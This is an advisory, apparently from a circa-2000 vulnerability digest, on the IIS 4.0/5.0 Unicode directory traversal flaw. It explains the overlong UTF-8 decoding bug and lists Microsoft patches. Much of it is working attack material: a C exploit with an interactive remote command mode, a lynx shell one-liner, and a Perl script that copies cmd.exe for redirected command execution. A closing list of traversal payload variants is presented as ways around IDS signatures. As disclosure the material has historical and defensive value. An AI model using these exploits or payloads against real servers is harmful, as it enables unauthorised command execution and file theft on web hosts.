COMMAND
IIS
SYSTEMS AFFECTED
IIS 4, 5
PROBLEM
rain forest puppy (RFP) found following. Recently he received an
email from Par Osterberg that directed his attention to a post in
the Packetstorm forums:
http://209.143.242.119/cgi-bin/cbmc/forums.cgi?authkey=anonymous&uname=anonymous&datopic=Windows&mesgcheck=defined&gum=474&editoron=
An anonymous person posts that they can run arbitrary commands on
IIS 5 (Win 2000) using the following URL:
http://address.of.iis5.system/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\
They also gave a sample site that appeared to be vulnerable.
Following the thread shows various people trying (unsuccessfully)
to recreate the problem. So is the site listed a fake, meant to
*appear* vulnerable? Was it due to a misconfiguration?
First RFP tried his IIS5/Win2K test server--and it wasn't
vulnerable. However, the sample site was in China (hence the .cn)
and they were using a UNICODE character set different than mine.
So doing a quick search on a search engine for sites hosting the
default IIS5 web page, RFP found a dozen that had foreign UNICODE
fonts--and all of them were vulnerable. Checking a few other
US-font sites resulted in them being not vulnerable. So at this
point there is enough confirmation that there is a problem. RFP
can only speculate 'why' this is a vulnerability, and he figure it
has to do something with UNICODE translation.
However, it's still odd. Pulling up vi (yes, vi--not pico), he
coded a quick little perl script that will check all 65535
combinations in place of the %c1%1c in the 'exploit' URL. Sorry,
but no script, since it's built on whisker v2.0 code, which is not
ready to release.
Anyways, the script chugged through all 65535, kicking back
various errors from 'Not Found', 'Authentication Required' (?!?),
'Read Access Forbidden', and various API error messages ('The
parameter is incorrect.' and 'The file, directory name, or syntax
is invalid.').
But there in the output, in two particular instances, RFP had a
directory listing. Yikes. It seems the values of %c0%af and
%c1%9c work for IIS 5. Curiousity getting the better of itself,
RFP tried it on IIS 4. Uh oh, works there too.
So is it UNICODE based? Yes. %c0%af and %c1%9c are overlong
UNICODE representations for '/' and '\'. There may even be longer
(3+ byte) overlong representations too. IIS seems to decode
UNICODE at the wrong instance (after path checking, rather than
before).
This is one of the vulnerabilities Bruce Schneier warned of in
one of the past CRYPTO-GRAM isssues. The problem isn't the wrong
time of path checking alone, but as well a poorly implemented
UTF-8 decoder. RFC 2279 explicitly says that overlong sequences
such as 0xC0 0xAF are invalid.
Markus Kuhn's UTF-8 stress test file contains some tests covering
such problems. It's available at:
http://www.cl.cam.ac.uk/~mgk25/ucs/examples/UTF-8-test.txt
(Netscape Communicator 4.75 appears to have a broken UTF-8
decoder, too) It's a pity that a lot of UTF-8 decoders in free
software fail such tests as well, either by design or careless
implementation.
Obviously, since this was initially posted to a public forum, RFP
take no credit for the original find--all he did was further
develop the research. Thanks again to Par Osterberg for sending
the URL.
While we thought this was going to be bigger than RDS, it turns
out the program execution happens under IUSR_machine context, so
you're limited (e.g. you can't just grab the SAM, etc).
Nsfocus Security Team found this bug several weeks ago. A member
of their team disassembled the IIS 5.0 (Chinese version) Unicode
decoding implementation, he found a strange decoding method when
IIS found "%c1%hh" and "%c0%hh" (0x00<= 0xhh < 0x40)
IIS will decode "%c1%hh" to (0xc1 -0xc0) * 0x40 + 0xhh.
IIS will decode "%c0%hh" to (0xc0 -0xc0) * 0x40 + 0xhh.
Example (Windows 2000 + IIS 5 + SP1 for Simplify Chinese version):
http://192.168.8.48/A.ida/%c1%00.ida
IIS said"@.ida" can't be found
here: ги0xc1-0xc0)*0x40+0x00=0x40='@'
http://192.168.8.48/A.ida/%c1%01.ida
IIS said "A.ida" can't be found
here: ги0xc1-0xc0)*0x40+0x01=0x41='A'
http://192.168.8.48/A.ida/%c1%02.ida
IIS said "B.ida" can't be found
....
http://192.168.8.48/A.ida/%c0%21.ida
IIS said "!.ida" can't be found
...
It means you can encode most characters with this feature. For
example:
%c1%1c -> (0xc1 - 0xc0) * 0x40 + 0x1c = 0x5c = '/'
%c0%2f -> (0xc0 - 0xc0) * 0x40 + 0x2f = 0x2f = '\'
Nsfocus guess that you can use it to bypass some directory
restriction:
http://192.168.8.48/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
Now we get:
Directory of d:\inetpub\scripts
2000-09-28 15:49 <DIR> .
2000-09-28 15:49 <DIR> ..
1999-07-21 17:49 147,456 Count.exe
2000-09-12 17:08 438,290 Count25.exe
2000-10-13 15:03 8,867 counter.err
2000-08-23 23:07 160,002 counter.exe
1999-05-25 18:14 3,925 CountNT.html
1999-07-21 17:49 64,512 extdgts.exe
2000-08-10 15:24 46,352 ism.dll
1999-07-21 17:49 64,512 mkstrip.exe
1999-05-25 18:18 1,317 README.txt
2000-09-28 15:49 <DIR> wcount
9 File(s) 935,233 bytes
We can get the content of some system files with this bug too:
http://192.168.8.48/a.asp/..%c1%1c../..%c1%1c../winnt/win.ini
IIS deems it to be a request for a .ASP file.It will call asp.dll
to open the file win.ini. For IIS 4.0+SP6(Chinese), the URL above
failed. It seems that IIS is getting smarter. But Nsfocus finds
interesting that we can use this malformed URL to trick IIS to get
the winnt.ini:
http://192.168.8.100/default.asp/a.exe/..%c1%1c../..%c1%1c../winnt/winnt.ini
"default.asp" should be an existing .ASP file. "a.exe" is random
.EXE file name. It can be a nonexisting file.
It looks IIS 4.0/5.0 for English version has different decoding
implementation.
Below is code by optyx (./iis-zang www.madeupexample.com -i is
particularly scarey). One comment - both > and | (pipe) don't
work when passed over http headers (even when encoded to ascii
values). This means people can't do, fe, echo "owned"
>c:\inetpub\wwwroot\default.asp. So, unless somebody can think
of a way around this, we doubt kids are going to deface any
websites. It also limits the ability of writing ftp.exe
non-interactive scripts remotely.
/****************************************************************************\
** **
** Microsoft IIS 4.0/5.0 Extended UNICODE Directory Traversal Exploit **
** proof of theory exploit cuz it's wednesday and i'm on the couch **
** **
** brought to you by the letter B, the number 7, optyx, and t12 **
** optyx - <optyx@uberhax0r.net optyx@newhackcity.net> **
** t12 - <t12@uberhax0r.net> **
** **
** greetz go out to aempirei, a gun toatin' gangstah' hustler' player **
** motherfucker who isn't with us anymore, miah, who's GTA2 game was **
** was most entertaining tonight, Cathy, who provided the trippy light **
** to stare at, and to KT, for providing me with hours of decent **
** conversation. **
** **
\****************************************************************************/
#include <stdio.h>
#include <netdb.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>
#include <errno.h>
#include <fcntl.h>
void usage(void)
{
fprintf(stderr, "usage: ./iis-zank <-t target> <-c 'command' or -i>");
fprintf(stderr, " [-p port] [-t timeout]\n");
exit(-1);
}
int main(int argc, char **argv)
{
int i, j;
int port=80;
int timeout=3;
int interactive=0;
char temp[1];
char host[512]="";
char cmd[1024]="";
char request[8192]="GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+";
struct hostent *he;
struct sockaddr_in s_addr;
printf("iis-zank_bread_chafer_8000_super_alpha_hyper_pickle.c\n");
printf("by optyx and t12\n");
for(i=0;i<argc;i++)
{ if(argv[i][0] == '-') {
for(j=1;j<strlen(argv[i]);j++)
{
switch(argv[i][j])
{
case 't':
strncpy(host, argv[i+1], sizeof(host));
break;
case 'c':
strncpy(cmd, argv[i+1], sizeof(cmd));
break;
case 'h':
usage();
break;
case 'o':
timeout=atoi(argv[i+1]);
break;
case 'p':
port=atoi(argv[i+1]);
break;
case 'i':
interactive=1;
break;
default:
break;
}
}
}
}
if(!strcmp(host, ""))
{
fprintf(stderr, "specify target host\n");
usage();
}
if(!strcmp(cmd, "") && !interactive)
{
fprintf(stderr, "specify command to execute\n");
usage();
}
printf("]- Target - %s:%d\n", host, port);
if(!interactive)
printf("]- Command - %s\n", cmd);
printf("]- Timeout - %d seconds\n", timeout);
if((he=gethostbyname(host)) == NULL)
{
fprintf(stderr, "invalid target\n");
usage();
}
do
{
if(interactive)
{
cmd[0]=0;
printf("\nC> ");
if(fgets(cmd, sizeof(cmd), stdin) == NULL)
fprintf(stderr, "gets() error\n");
cmd[strlen(cmd)-1]='\0';
if(!strcmp("exit", cmd))
exit(-1);
}
for(i=0;i<strlen(cmd);i++)
{
if(cmd[i]==' ')
cmd[i]='+';
}
strncpy(request,
"GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+",
sizeof(request));
strncat(request, cmd, sizeof(request) - strlen(request));
strncat(request, "\n", sizeof(request) - strlen(request));
s_addr.sin_family = PF_INET;
s_addr.sin_port = htons(port);
memcpy((char *) &s_addr.sin_addr, (char *) he->h_addr,
sizeof(s_addr.sin_addr));
if((i=socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
{
fprintf(stderr, "cannot create socket\n");
exit(-1);
}
alarm(timeout);
j = connect(i, (struct sockaddr *) &s_addr, sizeof(s_addr));
alarm(0);
if(j==-1)
{
fprintf(stderr, "cannot connect to %s\n", host);
exit(-1);
close(i);
}
if(!interactive)
printf("]- Sending request: %s\n", request);
send(i, request, strlen(request), 0);
if(!interactive)
printf("]- Getting results\n");
while(recv(i,temp,1, 0)>0)
{
alarm(timeout);
printf("%c", temp[0]);
alarm(0);
}
}
while(interactive);
close(i);
return 0;
}
Marco Berkum added following. A friend (Dimitri van de Giessen)
called him after reading the article regarding this remote
execution UNICODE style bug in the IIS webserver (supposedly >4.0)
found by a anonymous packetstorm mailer and investigated by RFP.
He called in another friend (Kristian Vlaardingerbroek). They
investigated and after a while they found that RFP's string
"%c1%af" worked on our english version of NT 4.0. Playing a bit,
feeling tired, they found that you CAN get out of the
document_root_drive to execute cmd.exe. Remember the msadc RDS
"feature" ?
Ok, so why not use /msadc? Its a directory placed on the system
drive and usually accessible through normal HTTP requests.
Knowing this you would know that putting the website on a
different drive than your systemdrive would not make a difference
at all. You can put it on and Q:\> if you like, you're still
possibly vulnerable. Imagine what you could do with this:
----blaat.sh----
#!/bin/sh
lynx -dump http://$1/msadc/..\%c0\%af../..\%c0\%af../..\%c0\%af../winnt/system32/cmd.exe\?/c\+$2+$3+$4+$5+$6+$7
Then:
./blaat.sh www.yourownmachine.com dir c:\\
You need the double backslash to escape it. And voila, a dir
listing. It seems that every different language version of NT
has different UNICODE chars, didnt find out other countries yet,
will be easy to make in perl as RFP described.
Most probably sample files like pagevieuw and codebrws.asp, other
IIS samples and other "features" like msadc, webhits, newdsn and
+.htr (%2B) get interesting AGAIN when placed on other dirs
vieuwable by the dir c:\\anything command. Get blisters patching
your NT.
After the discussion on Bugtraq et al on the IIS Unicode flaw,
following PERL script will check the existance of an 'alternative'
cmd.exe, and pass all commands to the alternative shell, or create
it if it does not exists - making redirection of commands
possible. Credit to all that contributed:
#!/usr/bin/perl
# See http://www.securityfocus.com/vdb/bottom.html?section=exploit&vid=1806
# Very simple PERL script to execute commands on IIS Unicode vulnerable servers
# Use port number with SSLproxy for testing SSL sites
# Usage: unicodexecute2 IP:port command
# Only makes use of "Socket" library
#
# New in version2:
# Copy the cmd.exe to something else, and then use it.
# The script checks for this.
# Thnx to security@nsfocus.com for discovering the cmd.exe copy part
#
# Roelof Temmingh 2000/10/26
# roelof@sensepost.com http://www.sensepost.com
use Socket;
# --------------init
if ($#ARGV<1) {die "Usage: unicodexecute IP:port command\n";}
($host,$port)=split(/:/,@ARGV[0]);
$target = inet_aton($host);
# --------------test if cmd has been copied:
$failed=1;
$command="dir";
@results=sendraw("GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+$command HTTP/1.0\r\n\r\n");
foreach $line (@results){
if ($line =~ /sensepost.exe/) {$failed=0;}
}
$failed2=1;
if ($failed==1) {
print "Sensepost.exe not found - Copying CMD...\n";
$command="copy c:\\winnt\\system32\\cmd.exe sensepost.exe";
$command=~s/ /\%20/g;
@results2=sendraw("GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+$command HTTP/1.0\r\n\r\n");
foreach $line2 (@results2){
if (($line2 =~ /copied/ )) {$failed2=0;}
}
if ($failed2==1) {die "Copy of CMD failed - inspect manually:\n@results2\n\n"};
}
# ------------ we can assume that the cmd.exe is copied from here..
$command=@ARGV[1];
print "Sensepost.exe found - Executing [$command] on $host:$port\n";
$command=~s/ /\%20/g;
my @results=sendraw("GET /scripts/..%c0%af../inetpub/scripts/sensepost.exe?/c+$command HTTP/1.0\r\n\r\n");
print @results;
# ------------- Sendraw - thanx RFP rfp@wiretrip.net
sub sendraw { # this saves the whole transaction anyway
my ($pstr)=@_;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,$port,$target)){
my @in;
select(S); $|=1; print $pstr;
while(<S>){ push @in, $_;}
select(STDOUT); close(S); return @in;
} else { die("Can't connect...\n"); }
}
# Spidermark: sensepostdata
SOLUTION
Patch availability:
- IIS 4.0: http://www.microsoft.com/ntserver/nts/downloads/critical/q269862
- IIS 5.0: http://www.microsoft.com/windows2000/downloads/critical/q269862
The IIS 4.0 patch can be installed on systems running Windows
NT(r) 4.0 Service Packs 5 and 6a. It will be included in Windows
NT 4.0 Service Pack 7. The IIS 5.0 patch can be installed on
systems running either Windows(r) 2000 Gold or Service Pack 1. It
will be included in Windows 2000 Service Pack 2.
If you applied the patch provided in MS00-57 from August, you're
not vulnerable. By some lucky happenstance, that patch also fixed
this particular vulnerability.
Anyway to solve a security issue, Microsoft has decided how you
can or can't name your own folders? Specially when ".com" is the
most widely used TLD on the Internet... so expect to have broken
situation after applying patch.
Just a quick note to add. Too many people are now just creating
new signatures on their IDS to "protect" their servers based on
the recents advisories where appears only exploit information
with:
%c1%1c
%c0%af
%c1%9c
Is just a misunderstanding there are too many ways to exploit this
bug..doing a quick search:
GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir (C-1-PC)
this is just in the range c0 00 to c2 00...!